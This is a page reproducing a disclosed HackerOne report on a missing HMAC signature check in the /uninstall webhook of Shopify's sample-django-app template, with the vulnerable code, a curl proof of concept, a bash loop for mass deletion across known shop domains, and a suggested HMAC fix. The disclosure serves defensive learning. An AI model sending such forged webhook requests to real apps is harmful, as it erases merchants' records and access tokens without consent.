Skip to content
Access control Disclosed report Beginner

Missing HMAC validation on /uninstall webhook in Shopify/sample-django-app reference template

The /uninstall webhook in a Shopify reference template deletes shop records without checking the HMAC signature header. An unauthenticated attacker who knows a shop domain could send a crafted request to delete that merchant's record and access token.

proto__proto__ Follow

Originally disclosed on HackerOne

Informational View original
  • Disclosed after 36 days

Summary by the program

The researcher reported that the /uninstall webhook endpoint in Shopify/sample-django-app doesn't validate the X-Shopify-Hmac-Sha256 header before deleting shop records — a deviation from Shopify's documented webhook guidance (https://shopify.dev/docs/apps/build/webhooks/best-practices/validate-webhooks).

Closed as Informative because sample-django-app is a reference template that doesn't run in any Shopify-operated environment and doesn't handle real merchant data. Developers building on top of it are responsible for the production-grade controls documented in the link above. Reports must demonstrate exploitable impact on live Shopify systems, merchants or buyers, not theoretical vulnerabilities in sample code.

The report

Repository: https://github.com/Shopify/sample-django-app

Description

The /uninstall webhook endpoint in sample-django-app processes incoming requests without verifying the X-Shopify-Hmac-Sha256 header. Shopify explicitly requires this validation as a mandatory security measure for all webhook endpoints, as documented in the official Shopify developer documentation.

As a result, any unauthenticated attacker can send a crafted POST request to delete any merchant’s record from the database, effectively revoking their access token and force-uninstalling the application without their knowledge or consent.

Since this repository is an official Shopify reference template, the vulnerability propagates to any third-party application built on top of it.


Vulnerability Location

File: sample_django_app/shopify_app/views.py — lines 47–51

Python
@csrf_exempt
def uninstall(request):
    uninstall_data = json.loads(request.body)
    shop = uninstall_data.get("domain")
    Shop.objects.filter(shopify_domain=shop).delete()
    return HttpResponse(status=204)

Root cause: The @csrf_exempt decorator is expected here since Shopify cannot send a CSRF token with webhook requests. However, this must be compensated by HMAC signature validation to ensure the request genuinely originates from Shopify. No such validation is present — neither the existence of the header nor its cryptographic integrity is checked before the deletion is executed.


Exploitation Requirements

Requirement Needed?
Shopify account No
Authentication No
Knowledge of a target shop domain Yes
Special tooling No — a single curl command is sufficient

Proof of Concept

Step 1 — Send the unauthenticated request

Bash
curl -X POST https://target-app.com/uninstall \
  -H "Content-Type: application/json" \
  -d '{"domain": "target-shop-domain"}'

Step 2 — Observed response

HTTP/1.1 204 No Content

The shop record matching target-shop-domain is deleted from the database. Its Shopify access token is permanently erased. The merchant loses access to the application instantly, with no warning and no action required from the attacker.

Step 3 — Mass deletion

The attack can be repeated for any known shop domain registered on the application, with no rate limiting or authentication preventing it:

Bash
for domain in $(cat known_shops.txt); do
  curl -s -o /dev/null -w "%{http_code} $domain\n" \
    -X POST https://target-app.com/uninstall \
    -H "Content-Type: application/json" \
    -d "{\"domain\": \"$domain\"}"
done

Impact

  • For merchants: Sudden and unexplained loss of access to the application. The merchant must reinstall the application and re-grant all permissions manually, with no indication of what happened.
  • For developers using this template: Any application built from sample-django-app inherits this vulnerability directly. An attacker with a list of registered shop domains can wipe all merchant records in seconds.
  • For the Shopify ecosystem: This repository is an official reference template linked in Shopify Partners documentation. A vulnerability here has a multiplied impact across all developers who base their apps on it.

Root Cause & Fix

Shopify’s official documentation mandates HMAC verification on all webhook endpoints:

“Each webhook request includes a X-Shopify-Hmac-Sha256 header […] which is generated using the app’s client secret along with the data sent in the request. To verify that the request came from Shopify, compute the HMAC digest and compare it to the value in the header.”

Source: https://shopify.dev/docs/apps/build/webhooks/best-practices/validate-webhooks

Suggested fix

Python
import hmac
import hashlib
import base64

@csrf_exempt
def uninstall(request):
    # Step 1 — Ensure the HMAC header is present
    hmac_header = request.META.get('HTTP_X_SHOPIFY_HMAC_SHA256', '')
    if not hmac_header:
        return HttpResponse(status=401)

    # Step 2 — Compute the expected HMAC
    secret = apps.get_app_config('shopify_app').SHOPIFY_API_SECRET.encode('utf-8')
    digest = hmac.new(secret, request.body, hashlib.sha256).digest()
    computed_hmac = base64.b64encode(digest).decode('utf-8')

    # Step 3 — Constant-time comparison to prevent timing attacks
    if not hmac.compare_digest(computed_hmac, hmac_header):
        return HttpResponse(status=401)

    # Step 4 — Safe to process
    try:
        uninstall_data = json.loads(request.body)
    except json.JSONDecodeError:
        return HttpResponse(status=400)

    shop = uninstall_data.get("domain")
    if not shop:
        return HttpResponse(status=400)

    Shop.objects.filter(shopify_domain=shop).delete()
    return HttpResponse(status=204)

Additional Recommendations

Input validation on the domain field:

Python
if not isinstance(shop, str) or len(shop) > 255:
    return HttpResponse(status=400)

JSON bomb protection — no size limit is enforced on the request body:

Python
if len(request.body) > 10_000:
    return HttpResponse(status=413)

The original report as published on HackerOne, by proto__proto__. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The endpoint is exempt from CSRF protection but does not compensate with HMAC signature validation, so it trusts any incoming request body.

Impact

An attacker could force-uninstall the app for any merchant whose shop domain they know, erasing the access token and requiring the merchant to reinstall and re-grant permissions; the report was closed as Informative because the template does not run in a live Shopify environment.

What the attacker needed

Knowledge of a target shop domain; no authentication needed

The fix

The endpoint should verify the X-Shopify-Hmac-Sha256 header using the app secret and a constant-time comparison before processing the request.

How it was found

  1. Send an unauthenticated POST request to the /uninstall endpoint with a JSON body naming a target shop domain.
  2. Observe a 204 No Content response and the shop record being deleted.
  3. Repeat the request for each known shop domain to mass-delete records.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A webhook is a message one service sends to another automatically. Shopify signs each webhook with a secret code in a header so the receiving app can check it really came from Shopify. This template skipped that check, so anyone could pretend to be Shopify and tell the app to delete a shop's record.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.